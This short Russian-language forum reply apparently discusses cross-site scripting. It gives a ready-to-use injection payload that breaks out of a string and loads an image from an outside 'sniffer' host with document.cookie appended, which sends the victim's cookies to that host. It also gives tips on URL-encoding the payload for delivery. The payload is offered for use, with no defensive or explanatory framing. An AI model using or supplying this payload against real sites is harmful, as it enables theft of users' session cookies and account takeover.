↑
какая разница? JS все равно, разница в том, что пользователю нужно сделать доп. действие.
такого рода код:
'+((new Image()).src='//hacker-lab.com/sniffer/images/251095_3.jpg'+document.cookie)+'
не забудьте про URLEncode, плюсы в %2b, пробелы в +